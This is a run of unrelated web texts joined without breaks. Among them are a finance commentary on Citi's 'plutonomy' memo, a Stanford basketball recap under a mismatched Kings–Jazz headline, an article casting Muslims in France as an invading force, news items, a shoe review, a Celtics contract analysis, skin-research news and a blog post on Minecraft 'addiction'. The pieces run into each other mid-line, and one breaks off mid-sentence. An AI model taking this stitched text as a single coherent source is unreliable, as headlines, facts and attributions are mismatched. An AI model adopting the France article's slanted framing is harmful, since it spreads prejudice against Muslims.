share) has come at the same time as the rise of right-wing, generally anti-immigration parties. On the other hand, ageing populations in countries where there are developed and well-financed pension schemes, and a big equity component in these, are probably more tolerant of a rising profit share. As individuals move from being workers to retirees, their incomes shift from being earned as wages, to dividends and savings, which are more linked to profits. This would suggest that in the UK and US for example, demographics might support – politically – a higher profit share, though this might not hold true, for example, in a country like France. So, is plutonomy under threat politically? We are keeping an eye on this one. At the moment, it is too early to make this call. Calls for protectionism and an end to immigration grow louder by the day, but they are difficult to measure. But a substantial percentage of Americans are in favor of repealing the estate tax (though only 2%, roughly, will ever pay it), which does not resonate as a population determined to destroy wealth inequality. The political process is the greatest threat to plutonomy. We don’t see it as a threat today in most countries. But we are alert to changes here.
Back in 2006 Citi ultimately ended up being very, very wrong, however in a way that ultimately made the rich whose financial paper wealth was about to disappear even richer, courtesy of the biggest taxpayer-funded wealth transfer in history. As a result those who were merely uber rich a decade ago have been wealthier (if only on paper).
Our own view is that the rich are likely to keep getting even richer, and enjoy an even greater share of the wealth pie over the coming years. We think rising profit margins will keep profit growth strong, and equities are at any rate undervalued. And the rich tend to be disproportionately exposed to the equity markets. While there are challenges to this, not least through populations/the political process demanding a more “equitable” share of the wealth, in the short term we think the trend of the rich getting richer is likely to persist. Plutonomy related stocks should, we think, continue to see strong demand and inflation-beating pricing power.
Here, Citi was absolutely spot-on accurate. However, the question now stands: since there is a finite amount of wealth that can be transferred from the expiring global middle class, and since everything above that is merely dilution from excess printing of fiat money, inquiring minds want to know: is the world financial system due for another massive collapse, one which will even further accelerate the wealth redistribution, or is the world's population so zombified that nothing can ever possibly tips the scales ever again, and the lesson from the French revolution, when an unprecedented amount of wealth and power was held by a precious few, have been forever lost on the world and its citizens?Kings Come Up Short in Loss to Jazz by Robert Gillis
Chasson Randle made four of six 3-point attempts and scored 21 points as the Stanford Cardinal won big over the Northern Iowa Panthers 66-50.
The game was played in the Bahamas, and was a consolation semifinal match in the Battle 4 Atlantis after the Cardinal lost to No.13-ranked Missouri yesterday.
The Cardinal led by as many as nine in the first half, only to see the Panthers battle back and tie things up at 30-30 at halftime.
But the second half was all Stanford, who dominated on all aspects of the game. They finished on an 11-2 run after Northern Iowa had cut the lead to 49-45 to close things out.
Randle was the only starter who had any kind of success, as Dwight Powell had just two points and two rebounds. Andy Brown picked up some of the slack off the bench, scoring 15 points with six rebounds.
But the story was Randle, who notched his seventh 20-point game of his career.
“It is always good to see the ball go in,” said Randle. “It is all about confidence. If you get that confidence and you see the ball go in, you start feeling that things will go well for you.”
Stanford head coach Johnny Dawkins praised his teams’ effort following a tough loss: “I am really happy for my group. This is a very difficult field and to lose a game and bounce back says a lot about the team.”
The Cardinal (4-2) will head home to face Seattle on November 28.Islamic mosques are being built more often in France than Roman Catholic churches, and there now are more practising Muslims in the country than practising Catholics.
Nearly 150 new mosques currently are under construction in France, home to the biggest Muslim community in Europe. The mosque-building projects are at various stages of completion, according to Mohammed Moussaoui, the president of the Muslim Council of France (CFCM), who provided the data in an August 2 interview with the French radio station RTL.
The total number of mosques in France has already doubled to more than 2,000 during just the past ten years, according to a research report "Constructing Mosques: The Governance of Islam in France and the Netherlands." France's most prominent Muslim leader, Dalil Boubakeur, who is rector of the Grand Mosque of Paris, recently called for the number of mosques in the country to be doubled again – to 4,000 – to meet growing demand.
By contrast, the Roman Catholic Church in France has built only 20 new churches during the past decade, and has formally closed more than 60 churches, many of which are destined to become mosques, according to research conducted by La Croix, a Roman Catholic daily newspaper based in Paris.
Although 64% of the French population (or 41.6 million of France's 65 million inhabitants) identifies itself as Roman Catholic, only 4.5% (or 1.9 million) of those actually are practising Catholics, according to the French Institute of Public Opinion (or Ifop, as it is usually called).
By way of comparison, 75% (or 4.5 million) of the estimated 6 million mostly ethnic North African and sub-Saharan Muslims in France identify themselves as "believers" and 41% (or 2.5 million) say they are "practising" Muslims, according to an in-depth research report on Islam in France published by Ifop on August 1. The report also says that more than 70% of the Muslims in France say they will be observing the Islamic holy month of Ramadan in 2011.
Taken together, the research data provides empirical evidence that Islam is well on its way to overtaking Roman Catholicism as the dominant religion in France.
As their numbers grow, Muslims in France are becoming far more assertive than ever before. A case in point: Muslim groups in France are now asking the Roman Catholic Church for permission to use its empty churches as a way to solve the traffic problems caused by thousands of Muslims who pray in the streets.
In a March 11 communiqué addressed to the Church of France, the National Federation of the Great Mosque of Paris, the Council of Democratic Muslims of France and a Muslim activist group called Collectif Banlieues Respect called on the Catholic Church – in a spirit of inter-religious solidarity, of course – to make its empty churches available to Muslims for Friday prayers, so that Muslims do not have to "pray in the streets" and be "held hostage to politics."
Every Friday, thousands of Muslims in Paris and other French cities close off streets and sidewalks (and by extension, close down local businesses and trap non-Muslim residents in their homes and offices) to accommodate overflowing crowds for midday prayers. Some mosques have also begun broadcasting sermons and chants of "Allah Akbar" via loudspeakers in the streets.
The weekly spectacles, which have been documented by dozens of videos posted on Youtube.com (here, here, here, here, here, here, here, here and here), have provoked anger and disbelief. But despite many public complaints, local authorities have declined to intervene because they are afraid of sparking riots.
The issue of illegal street prayers was catapulted to the top of the national political agenda in France in December 2010, when Marine Le Pen, the charismatic new leader of the far-right National Front party, denounced them as an "occupation without tanks or soldiers."
During a gathering in the east central French city of Lyon on December 10, Le Pen compared Muslims praying in the streets to Nazi occupation. She said: "For those who want to talk a lot about World War II, if it is about occupation, then we could also talk about it [Muslim prayers in the streets], because that is occupation of territory. It is an occupation of sections of the territory, of districts in which religious laws apply. It is an occupation. There are of course no tanks, there are no soldiers but it is nevertheless an occupation and it weighs heavily on local residents."
Many French voters agree. In fact, the issue of Muslim street prayers – and the broader question of the role of Islam in French society – has become a major issue ahead of the 2012 presidential elections. According to a survey by Ifop for the France-Soir newspaper, nearly 40% of French voters agree with Len Pen's views that Muslim prayer in the streets resembles an occupation. Another opinion poll published by Le Parisien newspaper shows that voters view Le Pen, who has criss-crossed the country arguing that France has been invaded by Muslims and betrayed by its elite, as the candidate best suited to deal with the growing problem of runaway Muslim immigration.
French President Nicolas Sarkozy, whose popularity was at 25% in July – worse than any predecessor less than a year ahead of a re-election bid, according to the TNS-Sofres polling group – has been spooked by Le Pen's advance in the opinion polls. He now seems determined not to allow Le Pen to monopolize the issue of Islam in France.
Sarkozy recently called Muslim prayers in the street "unacceptable" and said that the street cannot be allowed to become "an extension of the mosque." He also warned that the overflow of Muslim faithful on to the streets at prayer time when mosques are packed to capacity risks undermining the French secular tradition separating state and religion.
Interior Minister Claude Guéant on August 8 told Muslims who have been praying on the streets of Paris that they should utilize a disused barracks instead. "Praying in the street is something that is not acceptable," Guéant said. "It has to stop."
Meanwhile, France ushered in Ramadan by inaugurating a new mega-mosque for 2,000 worshipers in Strasbourg, where the Muslim population has reached 15%. Construction also continues apace of a new mega-mosque in Marseille, France's second-largest city where the Muslim population has reached 25% (or 250,000). The Grand Mosque – which at more than 8,300 square meters (92,000 square feet) will accommodate up to 7,000 worshippers in a vast prayer hall – is designed to be the biggest and most potent symbol of Islam's place in modern France.
Boubakeur, of the Grande Mosque of Paris, says the construction of even more mosques – paid for by French taxpayers – would ease the "pressure, frustration and the sense of injustice" felt by many French Muslims. "Open a mosque and you close a prison," says Boubakeur.
But Turkish Prime Minister Recep Tayyip Erdogan has implied that the construction of mosques and minarets actually is part of a strategy for the Islamization of Europe. Publicly repeating the words of a 1912 poem written by the Turkish nationalist poet Ziya Gökalp, Erdogan said: "The mosques are our barracks, the domes our helmets, the minarets our bayonets and the faithful our soldiers."
Reflecting on the retreat of Catholicism and the rise of Islam in France, Archbishop Giuseppe Bernardini, an Italian Franciscan who heads the Izmir archdiocese in Turkey, and who has lived in the Islamic world for more than 40 years, has recounted a conversation he once had with a Muslim leader, who told him: "Thanks to your democratic laws, we will invade you. Thanks to our religious laws, we will dominate you."Rando-03
Seasons greetings folks! I hope your finals, work proposals, and holiday shopping is going well. One of the biggest gifts you could get the nerd in your life is the opportunity to see Star Wars! I’ve had three movies in that multi part epic come out in my lifetime, now it’s going to be four! I don’t know when you plan to see it but I’m going to see it with my girlfriend Thursday at 10:45. I’m going to a theater with reclining bucket seats, the apex of comfort and 3D viewing. The tickets weren’t even that much more than a regular ticket. ($14 versus $10) I wish they sold coffee/lattes in the theaters though, that late of a show, the fact that the theater is going to be cold, and the glee of holding a warm beverage in my hands would bring back those memories of being a kid watching Star Wars during winter break with a mug of hot chocolate. I might be chasing the dragon on that one.
Needless to say, if you’re going to see Star Wars and take part in the zeitgeist that is the fandom, please keep the spoilers to yourself. I’m going to do my best not to ruin the experience for others and I recommend staying away from movie reviewers(We all know what we’re in for, who needs a reviewer spoiling our experience). Just imagine you’re a 7 year old in 1980 and only tell those who’ve seen it the greatest parts while chortling and laughing over blue food stained lunch trays.
On other news my friend and creator of Rabid Ginger is working through his issue #1 of his comic Watashi No Oni. He’s gone to the INDYpendent Self-Publishing Show with me with his issue #0. I’m hoping to take him with me to other conventions to help get his feet wet in the comic space. If you’ve got any questions or want to get in contact with him just click the link above this sentence and get to typing.
Speaking of Conventions, here is my not-yet-paid-for Convention List:
INDYpendent Self-Publishing Show – April 3rd
Lafayette Comic Con – April 9th
Indiana Comic Con – April 29th
Indy Pop Con – June 17-19th
I’m going to have a busy April, I can tell you that.
I’m going to try to get something ready for you guys by the 23rd. Also What do you think of me starting a Patreon? Comment or tweet me.
Be well and may the force be with you,
Matthew
Pull list this week:
AUTUMNLANDS TOOTH & CLAW #8
BPRD HELL ON EARTH #138
SILK #2
WAYWARD #12Gov. Henry McMaster (R) on Wednesday declared a state of emergency for South Carolina as the region braces for the possible impact of Hurricane Irma.
In an executive order, McMaster said the state of emergency will stay in effect “until rescinded or otherwise amended.”
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“I have been advised that Hurricane Irma, and the associated wind, heavy rain, flash flooding, and sever weather, to include tornadoes, may pose a significant threat to the State of South Carolina and requires that the State take timely precautions to protect property, critical infrastructure, communities, and the general safety and welfare of the people of this State,” McMaster said.
Irma, which was upgraded to a Category 5 hurricane on Tuesday, is currently heading toward Puerto Rico.
The storm comes fewer than two weeks after Hurricane Harvey first made landfall in Texas as a Category 4 hurricane.It's mainly made with stretch polyester mesh and rubber, allowing for the shoe to drain quickly and efficiently with its material and design combination, without compromising your foots safety.
The form is great and one of the more 'free' feelings FiveFingers have to offer. Since the shoe has stretch polyester mesh, you just have to slide your foot in, then pull up at the end of the shoe to get it over your heels. It's that easy. If that's not tight enough, it also has adjustable Velcro straps.
Underwater, the shoes form is what makes you know for sure it's for the water. Since it drains well with it's materials and design, it allows for you to 'kick' with the and feeling like you're not even wearing a shoe.Authorities in Germany are powerless to halt the asylum claims of tens of thousands of migrants using fake Syrian documents, MailOnline can reveal.
Officials registering applications have been overwhelmed by the 500,000-plus refugees who have streamed into the country since the beginning of the year.
A huge number of claims for asylum that are supported by passports and identity cards that appear to be false, a police forensic expert has revealed.
MailOnline highlighted the roaring trade in false Syrian documents in September.
The exclusive story revealed how a reporter bought a Syrian passport, identity card and driving licence for $2000 under the name of a real man who was killed in Aleppo.
Easy: MailOnline Reporter Nick Fagge bought a fake Syrian passport, ID card and driving licence in southern Turkey for $2000. He exposed the booming trade of false Syrian documents on the black market
Fake: German forgery expert Joerg Aehnlich says he can't find enough evidence to prove the passports are false as they are often counterfeits made from genuine papers
Police forgery expert Joerg Aehnlich told MailOnline: ‘I know their documents are false but I cannot give evidence in court that they [the asylum seekers] are not Syrian because I cannot prove it.’
'Overwhelmed': German police are struggling to process vast number of suspected forged passports
Migrants are using documents stolen from Syrian refugees, identity cards manufactured to order or simply papers borrowed from friends and relatives to support their asylum application, Mr Aehnlich, of the Lower Saxony Criminal Forensic Institute has revealed.
This means applications for refugee status have been allowed to proceed because the authorities cannot prove they are fake.
He told MailOnline: ‘Some of the passports contain the false personal information in fake documents, some passports contain genuine personal information in fake documents and some passports contain genuine personal information in genuine documents. But we cannot prove which ones are genuine and which are false.’
Mr Aehnlich is one of just a handful of forgery experts in Germany that are called upon to provide expert opinions on documents in contested asylum application cases.
But he, and others like him, have been inundated with work since the migration |
. The Turkish state is targeting forces fighting against ISIS.”
TEV-DEM stated that Turkey had the goal of invading Syrian territory and fighting against revolutionary forces, continuing as follows: “Erdoğan and his policies have been defeated in Mosul and Iraq. This is why he wants to invade Syrian territory to win back what he lost in Iraq. Turkey is carrying out a dirty policy of invasion, this policy has nothing to do with the fight against ISIS. Turkey wants to take back the Misak-ı Milli territories it lost after World War II. Turkey’s goal with these attacks isn’t just to invade Northern Syria, but to invade Syria as a whole. Thus, all international powers should take a stance against the Turkish state’s invasion towards our lands. And our people should rise up in a serhildan against the invasion.”
TEV-DEM stated that the international forces’ silence in the face of the Turkish state’s invasion played a big role in Turkey carrying out these attacks and the statement included the following:
“The silence in the international area gives Turkey power to carry out their invasion plans. And so, we are calling on the international forces, especially the US and Russia, to take on the appropriate stance against Turkey’s vile attacks.
The Turkish state supports ISIS as much as it invades Syrian territory. Because Turkey is targeting all forces fighting against ISIS. Thus, we are calling on the international forces, especially the forces in the international coalition, to intervene with Turkey’s attacks and their invasion of Syrian territory.
We are calling on our people to rise up in a serhildan against the Turkish state’s invasion that targets the future of our people and our country. Let’s shake the world with our serhildan and our reaction, let’s not stay silent in the face of those who want to play with our future.”An international group of researchers have discovered a giant planet orbiting an ultracool dwarf star - the largest planet compared to its star to ever be found - leaving the researchers baffled at how the system could have formed.The planet, called NGTS-1b, is about 600 light-years from our solar system and is a gas giant about the size of Jupiter. On the other hand, its star is just half the mass and radius of our sun. This planet orbits its star at 3 percent the distance the Earth orbits the sun, with this planet completing a full orbit every 2.6 Earth days."The discovery of NGTS-1b was a complete surprise to us — such massive planets were not thought to exist around such small stars," Daniel Bayliss, lead author on the new work and a researcher at University of Warwick in the United Kingdom, said in the statement. The study further explained that this was the third time a gas giant had been seen around such small stars, M-dwarfs - but this planet was by far the largest found."NGTS-1b was difficult to find, despite being a monster of a planet, because its parent star is small and faint," Bayliss said. "Small stars are actually the most common in the universe, so it is possible that there are many of these giant planets waiting to be found.""Our challenge is to now find out how common these types of planets are in the galaxy, and with the new NGTS facility, we are well-placed to do just that," he added.Read more about this fascinating story at: https://www.space.com/38625-monster-planet-circles-tiny-star.html Or visit the University of Warwick's website for the official press release: https://warwick.ac.uk/newsandevents/pressreleases/monster_planet_discovery/ Original Study: https://arxiv.org/pdf/1710.11099v1.pdfPromoted FanPost
One of the major reasons for the Celtics' resurgence in the second half of this season is that they have gotten some major contributions from some unexpected sources.
The trade of Glen Davis and Von Wafer to the Magic that sent back Brandon Bass was heralded from the beginning as a smart move by Ainge, but it's become more and more of a steal as time has gone on. Originally pegged as a move to get back Big Baby's production for a season without having to give an overweight head case a multi-year contract, it is now clear that the Celtics got back a player who plays a very similar role on the team, only without the off-court distractions and over-inflated ego, and with much greater efficiency.
One of the results of the loss of Jeff Green before the start of the season to a heart condition is that the team went out and snagged Mickael Pietrus off the waiver wire after he was released by the Phoenix Suns. Pietrus has since become a fixture of the bench unit, probably coming closer to replicating the contributions of James Posey circa 2008 than any backup wing the Celtics have had since the team chose not to shell out the money to re-sign Mr. Fourth Quarter Three to a three year deal. Like Posey, Mickael has also had a great effect on team chemistry; while he doesn't quite have the tough-guy swagger that Posey had, Pietrus is constantly smiling and laughing, both on and off the court. Mickael doesn't make a huge impact in the box score, but his gritty, versatile defense and his ability to hit momentum-swinging shots from outside make him more valuable than advanced stats might indicate.
Meanwhile, the final, merciful end to the Jermaine O'Neal era, and the unfortunate loss of Chris Wilcox to a heart condition, created a golden opportunity for golden-haired Greg Stiemsma, an undrafted rookie free agent who was the D-League Defensive Player of the Year last season, originally pegged as a third string center likely to see the court even less than Semih Erden did last season. The Steamer has taken full advantage of that opportunity, proving himself to be a highly valuable defensive role player; he is second in the league in block percentage and top 25 in steal percentage, with a fantastic defensive rating of 90. On top of that, he also has a nifty quick-release mid-range jumper and the ability to finish lobs and easy layups at the rim.
Finally, there's Mr. Avery "the Pest" Bradley. He started the season as a wide-eyed, inexperienced, shaky second year guard, who seemed to lack a true NBA position, and whose only clear NBA-level talent was his on-ball defense. Since then, he's taken advantage of injuries in the backcourt and has proven that with extended minutes he can be a factor at both ends of the court, and even hit pull-up mid-range jumpers and corner threes in transition. His confidence has only grown as the season has gone on, to the point where he and Rondo are displaying some great on-court chemistry, looking like a supped-up version of the Rondo and TA combination back in the 2010 playoff run.
While these great, unexpected contributions have set the Celtics up to make a run in the post-season that just a couple months ago probably seemed impossible, it also creates some interesting dilemmas for this summer. How much will it cost to keep this group together?
Projecting the sort of pay-day Bass will probably be looking for seems pretty simple. One need look no further than the player for whom he was traded for a baseline. Glen Davis was given a deal at 4 years / $26 million, starting at $6.3 million. Since Bass has shown himself to be a much more efficient, athletic, and team-friendly player than Davis, his price-tag is probably a few million higher than that. The Celtics can probably hope to retain his services for 4 years / $28-30 million. It is possible, however, that a team with cap space desperate for some impact players might take a look at what Bass has done as a starter and give him something closer to Carl Landry money ($8-9 million per year). The Celtics might not be willing to match such an offer, but Bass really seems to like it here and the Celtics can offer both a starting spot and a winning situation with a great coach and a point guard who knows exactly where to get him the ball, so Bass might be willing to accept a bit less to stay.
Pietrus is currently making the veteran minimum, but that is somewhat misleading because he's still collecting a paycheck for $5 million from the Suns. As previously stated, Pietrus doesn't fill up the box score very often, but he brings a lot of intangibles, and guys who can do 3 and D and cover both wing positions often draw a lot of interest from contending teams with MLE money to spend. Still, the best comparison for Pietrus is probably Matt Barnes, who is currently making $1.5 million for the Lakers. Mickael will probably be looking for a 3 year deal, but it's most likely that he'll get a 2 year deal for 3-4 million, or a 1 year deal closer to 4 or 5 million. Look for the Celtics to try to lock him up closer to the former (2 years / $3 million).
Stiemsma's a difficult situation to gauge, if only because he's a fairly unique player. There are few players in the league who can do what he does on the defensive end at the center position who don't make a ton of money. Still, he's already 26 years old and his ceiling probably isn't too much higher than where he is right now. Plus, per the Gilbert Arenas Rule, the biggest deal Greg could get this summer is just above the MLE. That's probably not going to be on the table, though. Greg is a very solid backup center who can impact a game in a number of a ways, but I wouldn't look for him to become the next Ben Wallace. Instead, Chuck Hayes is probably a better comparison. Hayes was also an undrafted free agent who spent some time in the D-League before being signed by the Rockets, another team that was dealing with injuries. Hayes was also a unique player with one discernable NBA skill (rebounding), who proved himself to be a great defender and glue-guy once he was given extended minutes. After making $664k in his first full season in Houston, Chuck earned himself a 4 year deal for $8 million. At the end of that deal, he signed a 4 year deal with the Kings for $21 million. Expect Stiemsma to follow a similar path, assuming he doesn't develop a post game or suffer a precipitous decline due to age (again, he's already 26) or injury. Stiemsma is a restricted free agent this summer, so it would be a surprise if the Celtics didn't retain his services, considering that his price will be low.
Now to the even more difficult question of Bradley. Bradley is only in his sophomore season, and considering the extent to which he's already improved over his rookie season -- and even over the course of his second -- it's fair to wonder how high his ceiling might be. This isn't a problem the Celtics have to deal with right away; Bradley is under their control until the summer of 2014, when he'll be a restricted free agent. Nevertheless, it will probably be in their best interest to do what they did with Rondo and lock up Avery before he gets there. Right now, the best guess for the sort of deal that Avery might be looking for in the summer of 2014 ranges between Marcus Thornton money (4 years / $33 million) and Arron Afflalo money (5 years / $43 million). If Avery really explodes once he's given an even greater offensive role post-Big 3, it's even possible he could want the kind of deal Monta Ellis got (6 years / $67 million). If the Celtics try to extend Bradley the year before he hits restricted free agency (that would be next summer), they could, perhaps, lock him down for something like 5 years / $35-40 million. In any case, though it isn't a pressing issue, this is certainly something that Ainge will have in his mind when he's giving out contracts this summer.
Other costs for the Celtics to consider this summer:
Ray Allen:
The market for Mr. Shuttlesworth will probably consist almost entirely of contending teams over the cap that will only have $3-5 million per year to spend (MLE money). Primary suspects include the Clippers, Bulls, and Heat. The Celtics will have plenty of cap space to offer more, but due to the situation with Bradley, Pietrus, and Green, the Celtics will have the leverage to offer only a little bit more than the MLE -- in the range of 7-8 million. Most likely, the Celtics will want to offer only 1 year, while Allen will want two. Perhaps they will settle on a one year deal with a player option for a second year.
Kevin Garnett:
KG has earned himself a lot of money recently, playing like an All-Star center since the halfway mark of the season (not that he needs anymore money). If the Celtics are willing to pay big bucks to keep KG, they'll be able to spend far more than what most contenders are able to pay. Their competition will probably consist entirely of teams with a bunch of cap space who are desperate to compete as soon as possible. The Nets and Pacers are the top of that list, with the Mavericks, Suns, and Rockets as possible dark horse teams that might be in a position to offer Garnett money in a bid to win right away. Garnett's market value will probably range between 10 and 15 million per year for a 1-2 year deal -- think what David West got this last December, only with fewer years. Chances are KG will be willing to accept a deal on the lower end of that spectrum to stay in Boston. The best guess here is that he accepts a 1 year / $10-12 million deal with a player option for a second year to stay in Boston.
Jeff Green:
Ah, poor Jeff. He was offer a 1 year / $9 million deal for the 2011-2012 season prior to the discovery of his heart condition. It is likely his best option will be to accept a similar one-year deal to try and earn a lucrative multi-year deal in the summer of 2013. Due to his heart condition, Jeff's exact playing ability will be uncertain, so his market value will be limited. He might accept a one year deal around 7 million -- perhaps as low as 5.
It's always hard to predict this kind of thing in the NBA; every year it seems there's at least one absolutely unfathomable deal handed out during the off-season. At the same time, there are plenty of examples of players who took far less than they were worth to stay in a situation they liked. That is probably the biggest thing the Celtics have going for them -- this group of guys apparently really enjoys playing with one another, and if things continue to go well into the post-season, that's not likely to change. Still, Danny Ainge is notoriously unsentimental, and if anybody currently on the team is looking for a deal Danny doesn't want to give, Danny won't hesitate to let him go, just like Posey in '08 and TA in '10. Hopefully that won't happen; though it's clear now that Danny probably made the right choice letting Posey go, since James was never really the same after getting his last pay-day, the team has really missed Tony Allen since he left and became one of the key pieces of the surprisingly good GrizzliesNew work from the University of Maryland suggests that a common, inexpensive and safe chemical could slow the aging of human skin. The researchers found evidence that the chemical -- an antioxidant called methylene blue -- could slow or reverse several well-known signs of aging when tested in cultured human skin cells and simulated skin tissue. The study was published online in the journal Scientific Reports on May 30, 2017.
"Our work suggests that methylene blue could be a powerful antioxidant for use in skin care products," said Kan Cao, senior author on the study and an associate professor of cell biology and molecular genetics at UMD. "The effects we are seeing are not temporary. Methylene blue appears to make fundamental, long-term changes to skin cells."
The researchers tested methylene blue for four weeks in skin cells from healthy middle-aged donors, as well as those diagnosed with progeria -- a rare genetic disease that mimics the normal aging process at an accelerated rate. In addition to methylene blue, the researchers also tested three other known antioxidants: N-Acetyl-L-Cysteine (NAC), MitoQ and MitoTEMPO (mTEM).
In these experiments, methylene blue outperformed the other three antioxidants, improving several age-related symptoms in cells from both healthy donors and progeria patients. The skin cells (fibroblasts, the cells that produce the structural protein collagen) experienced a decrease in damaging molecules known as reactive oxygen species, a reduced rate of cell death and an increase in the rate of cell division throughout the four-week treatment.
Next, Cao and her colleagues tested methylene blue in fibroblasts from older donors (>80 years old) again for a period of four weeks. At the end of the treatment, the cells from older donors had experienced a range of improvements, including decreased expression of two genes commonly used as indicators of cellular aging: senescence-associated beta-galactosidase and p16.
"I was encouraged and excited to see skin fibroblasts, derived from individuals more than 80 years old, grow much better in methylene blue-containing medium with reduced cellular senescence markers," said Zheng-Mei Xiong, lead author of the study and an assistant research professor of cell biology and molecular genetics at UMD. "Methylene blue demonstrates a great potential to delay skin aging for all ages."
The researchers then used simulated human skin (a system developed by Cao and Xiong) to perform several more experiments. This simulated skin -- a three-dimensional model made of living skin cells -- includes all the major layers and structures of skin tissue, with the exception of hair follicles and sweat glands. The model skin could also be used in skin irritation tests required by the Food and Drug Administration for the approval of new cosmetic products, Cao said.
"This system allowed us to test a range of aging symptoms that we can't replicate in cultured cells alone," Cao said. "Most surprisingly, we saw that model skin treated with methylene blue retained more water and increased in thickness -- both of which are features typical of younger skin."
The researchers also used the model skin to test the safety of cosmetic creams with methylene blue added. The results suggest that methylene blue causes little to no irritation, even at high concentrations. Encouraged by these results, Cao, Xiong and their colleagues hope to develop safe and effective ways for consumers to benefit from the properties of methylene blue.
"We have already begun formulating cosmetics that contain methylene blue. Now we are looking to translate this into marketable products," Cao said. "We are also very excited to develop the three-dimensional skin model system. Perhaps down the road we can customize the system with bioprinting, such that we might be able to use a patient's own cells to provide a tailor-made testing platform specific to their needs."via @BrendaMedinar
Hialeah Mayor Carlos Hernandez finally decided to pay the $4,000 fine the Miami-Dade County ethics commission imposed earlier this year on his business dealings with Ponzi schemer and one-time jeweler Luis Felipe Pérez.
On Thursday, Hernandez sent the commission a truck stacked with 28 buckets filled with pennies to cover the fine. But his payment wasn't accepted. Apparently the commission accepts only checks.
Univision 23 reported commission officials asked Hernandez's emissaries to leave with the buckets -- and threatened to call police if they didn't. Commission members declined comment, according to Univision.
"They don't want to take our money...Cash," Hernandez told Univision. "I paid it with American money, of the United States, and I have the right to do that."
The mayor has called the ethics case against him a political "circus."
In July, the commission found Hernandez guilty of "knowingly" lying to the community -- in English and Spanish -- about receiving high-interest payments of 36 percent from Pérez on $180,000 in private loans. He was penalized with a $3,000 civil penalty plus $1,000 to cover investigative costs, as well as a letter of reprimand.
Pérez conned several people out of some $40 million -- including Hialeah political figures such as Hernandez. As part of the Ponzi scheme, according to authorities, investors received interest payments of 36 percent, which is considered loansharking. The case erupted in 2010.
During his 2011 mayoral campaign, Hernandez assured reporters in a news conference that he never received interest payments from Pérez. But last year, when he testified as a federal prosecution witness in the case against his predecessor, Julio Robaina, Hernandez said he received more than $100,000 in interest payments, contradiction his prior statements.
The 28 penny-filled buckets ended up back at Hialeah City Hall on Thursday.
28 cubos de monedas con un valor de 4 mil dólares. Así paga su multa el alcalde de Hialeah Carlos Hernández. pic.twitter.com/KPiTXpGJ8Y — Jenny Padura (@JennyPadura) November 5, 2015
--BRENDA MEDINA, el Nuevo Herald
Photo courtesy Univision 23 via el Nuevo HeraldI spoke to a journalist yesterday at the Sunday Telegraph about Minecraft. Apparently they are wring an article. Almost immediately, I learned they had a son aged seven who was ‘addicted’ to it, refusing to get off when told, which led to family rows.
Sound familiar? It’s something I hear a lot. I’ve thought about writing an entire book on the topic of getting kids off computers and video games, as there seems so much panic over it. I’m not sure what (if anything) will get written into the article, so I thought I’d outline my view here.
Is Minecraft addictive?
Firstly, kids are not addicted to Minecraft. Addiction is a word that is used in a variety of ways, but usually it refers to a compulsive drive to take some substance or engage in some activity that is not good for us. Video games are games of skill like chess or soccer. Success depends on perseverance, intelligence, practice, and learning, not chance. Saying Minecraft is addictive is similar to trying to argue millions of people addicted to soccer and therefore soccer creates the violence and racism on the terraces and so on.
People play games because they are challenging, fun and provide social interaction with other gamers – just like soccer. You might argue soccer is physical and outside. Yes, but in soccer, you don’t have to calculate the dimensions of a pitch or design the worlds most amazing stadium, so please – games are not purely Kinesthetic learning (also known as tactile learning). This is just one learning style in which learning takes place by the student carrying out a physical activity. I might also argue the brain loves a good work out, and few parents worry about chess. There are many learning styles. Humans don’t use or exclude any particular one by choice.
Non-gamers are bombarded by messages from the larger media-culture. Newspapers, radio and print generally assert gaming is a sign of laziness, is “addictive” and leads to many bad-effects. Non-gamers become concerned about video gaming as a result.
Why does mass-media say games are addictive?
The simple answer is that mass-media needs people to spend millions of hours watching television ads, reading ads in newspapers and so on. This is why we have televisions, magazines and newspapers – they are technological devices to sell us advertising. But we are not watching and reading like we used to. The death of traditional media (in terms of advertising) is well reported – as is the rise of Internet advertising. The problem here is that games like Minecraft clearly consume millions of hours – which blocks out their advertising opportunity. Worse, they know that ‘we’ don’t need traditional media anymore – we are the news, we are anonymous, we can’t be profiled or sold as we won’s sit on the couch like zombies. We’d rather play with zombies.
When Minecraft is the house-game for kids – then these media messages will focus parents on getting the house back to reading and watching their messages – to support advertising revenue streams. So parents hear constantly that games are harmful, that gamers are all potential crazed gunmen, isolated shut ins and so on. You don’t want that for your kid do you?
Parents need to play with their kids if they want to understand games (and their kid)
I asked the reporter – “Do you have a Minecraft account and play with your child?”.
The answer was no as it almost always is. I followed up by asking “when you go for coffee with your partner, have you given your child a smartphone to occupy them why you talk?”. She responded “Yes! – my husband does that!”
I pointed out the contradiction – games are good when adults are talking, but bad when the child doesn’t want to talk but play. How is a child supposed to work out this rule when it is presented as a contradiction, not a constant. For the players, Minecraft is a constant, so are your game-friends you play with. They understand you and they want to play with you. They know you might quit at any moment – to get ‘logged’ to do some chore or sit quietly while mum and dad have a chat.
Minecraft is not about occupying or filling in time – it’s about meaningful work. I hate to break it to parents, but to a kid, building in Minecraft is meaningful. Perhaps parents are just not used to this. The problem with Minecraft is not the game, nor video games in general. The central social problem is understanding our own (adults) behaviors around them. If parent’s don’t play with their kids, it is unlikely they will gain any understanding of games and their kids who are growing up with them. This is just like the same as noticing they like soccer so finding them a soccer club or kicking a ball around with them. Knock, knock, knock – Penny – your kid likes video games and can probably bend it like Beckham if you bothered to stop yelling long enough to actually understand.
Do scholars believe games are addictive?
Let me say this, as someone who works at a University. Little is agreed upon. The purpose of research is to move understanding forward and to find gaps in ‘the knowledge’ of everything. This means that when you hear or read an academic talk about something, they will invariably do a bit of fence sitting when asked yes/no questions. There is no ‘yes’ games are addictive verdict so far – and to be frank, there is no agreement on what we mean by video-game. I argue that Twitter is a video-game, it has the same basic qualities of games. This is usually met with raised eyebrows and seen as an attempt to avoid the question. But in all seriousness – there are plenty of people who sat zombified on their couch for years watching Doctor Phil and now they play Angry Birds at the same time.
This has nothing to do with Minecraft “addiction” anymore than Doctor Phil is the cause of Angry Bird addiction.
Mike Langlois, who maintains an excellent blog “gamer-therapist” said
“The stereotype presents the gamer as apathetic and avoidant of any work or investment. One thing we know about stereotypes is that they can be internalized and lead to self-fulfilling negativism, and I’ve come to hear gamers refer to themselves as lazy slackers.”
To counteract the stereotype, Langlois points out that video gaming is hard fun, not easy fun. Hard fun is a term that has appeared more than a few times towards education and technology.
“This hard fun would not be possible if gamers were truly lazy or apathetic. And the level of detail that many gamers pay attention to is staggering
To your brain, Mincraft is a form of going outside.
